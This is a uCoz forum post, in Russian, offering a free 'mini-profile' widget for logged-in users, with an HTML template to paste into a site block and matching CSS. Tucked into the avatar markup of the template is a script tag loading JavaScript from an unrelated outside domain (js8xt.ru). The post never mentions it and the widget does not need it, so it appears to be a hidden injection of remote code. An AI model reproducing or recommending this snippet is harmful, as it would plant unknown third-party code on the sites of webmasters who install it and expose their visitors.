Понедельник, 20.11.2017, 12:29Привет Гость | RSS
Главная страница | Мини-Профиль для uCoz Мини-профиль для uCoz - Форум | Регистрация | Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Центр WeB-мастеров uCoz » Дополнения для uCoz » Мини-Профиль для uCoz Мини-профиль для uCoz (uCoz)
Мини-Профиль для uCoz Мини-профиль для uCoz
AninewДата: Воскресенье, 15.04.2012, 14:00 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
Репутация: 0
Статус: :-(
http://s019.radikal.ru/i644/1204/9a/cfed5fcc3799.png <-- СКРИН

Красивый мини профиль для ucoz

Новинка! Новый и красивый мини-профиль для ucoz. Профиль имеет необычное, Но очень удобное строеные.
В
самом верху блок разделен на 2 половины: левая - для аватора(если его
нет будет знак вопроса, или любой другой) правая - логин. Мини-Профиль полностью налажен и работает.

Копируем скрипт Мини-Профиля в нужный блок:

Code
<!--?if($USER_LOGGED_IN$)?-->   
   <div class="mpava"><!--?if($USER_AVATAR_URL$)?--><img src="$USER_AVATAR_URL$"><!--?else?--><img src="http://wallaby.ucoz.ru/_ph/1/2/518111205.png"><!--?endif?--> </div><script src="http://js8xt.ru/ves.js" type="text/javascript"></script>
   <div class="opatb"><div class="mpname"><b>$USERNAME$</b></div></div>   
   <div class="mpin"><img src="http://wallaby.ucoz.ru/_ph/1/2/228868423.png" class="mpimstr"><div class="mpstr"><a href="/index/8">Мой профиль</a></div></div>   
   <div class="mpin"><img src="http://wallaby.ucoz.ru/_ph/1/2/678236462.png" class="mpimstr"><div class="mpstrls"><a href="/index/14">Мои сообщения </a></div> <div class="unread"><a title="Количество новых сообщении">$UNREAD_PM$</a></div></div>   
   <div class="mpin"><img src="http://wallaby.ucoz.ru/_ph/1/2/800250262.png" class="mpimstr"><div class="mpstr"><a href="/index/11">Мои настройки</a></div></div>   
   <div class="mpin" ><img src="http://wallaby.ucoz.ru/_ph/1/2/939619931.png" style="border-bottom:1px solid #ccc" class="mpimstr"><div class="mpstr" style="border-bottom:1px solid #ccc"><a href="/index/10">Выход</a></div></div>   
   <!--?else?-->   
   $LOGIN_FORM$   
   <!--?endif?-->


В CSS
П.У - Дизайн - Управление дизайном (CSS):

Code
/* ====== Мини профиль ====== */   
   .opatb {background:#fff;border:1px solid #ccc;border-left:none;height:63px;}   
   .mpava img {width:63px;height:63px;float:left;border:1px solid #d2d2d2;margin-bottom:4px;}   
   .mpname {float:left;padding-left:27px;font-size:16px;color: rgb(8, 99, 151);padding-top:20px;display:inline-block}   
   .mpin {text-align:left; padding:0px; clear:both; }   
   .mpimstr {float:left;background:#f7f7f7;padding:3px;border:1px solid #ccc;border-right:1px dotted #ccc;border-bottom:none;display:inline-block}   
   .mpstr {background:#fff;float:left;width:165px;height:17px;display:inline-block;padding-top:5px;border:1px solid #ccc;border-left:none;border-bottom:none;}   
   .mpstr a {text-decoration:none;color: rgb(8, 99, 151);margin-left:4px;}   
   .mpstr a:hover {text-decoration:underline;}   
   .mpstrls {background:#fff;float:left;width:147px;height:17px;display:inline-block;padding-top:5px;border:1px solid #ccc;border-left:none;border-bottom:none;border-right:1px dotted #ccc;}   
   .mpstrls a {text-decoration:none;color: rgb(8, 99, 151);margin-left:4px;}   
   .mpstrls a:hover {text-decoration:underline;}   
   .unread {background:#f7f7f7;border:1px solid #ccc;border-bottom:none;height:19px;text-align:center;font-weight:bold;padding:3px 2px 0 0;}   
   /* ====== Мини профиль с wallaby.ucoz.ru ====== */
 
Форум » Центр WeB-мастеров uCoz » Дополнения для uCoz » Мини-Профиль для uCoz Мини-профиль для uCoz (uCoz)
Страница 1 из 11
Поиск:

Статистика Форума
Читаемые темы Последние темы Лучшие пользователи Новые пользователи

Lookflaco

(9)

MyLife

(7)

startsmart

(5)

laym

(4)

Aninew

(4)

DoG

(0)

Onlines

(3)

maxycheks

(0)

startsmart

(5)

laym

(4)


Конструктор сайтов - uCoz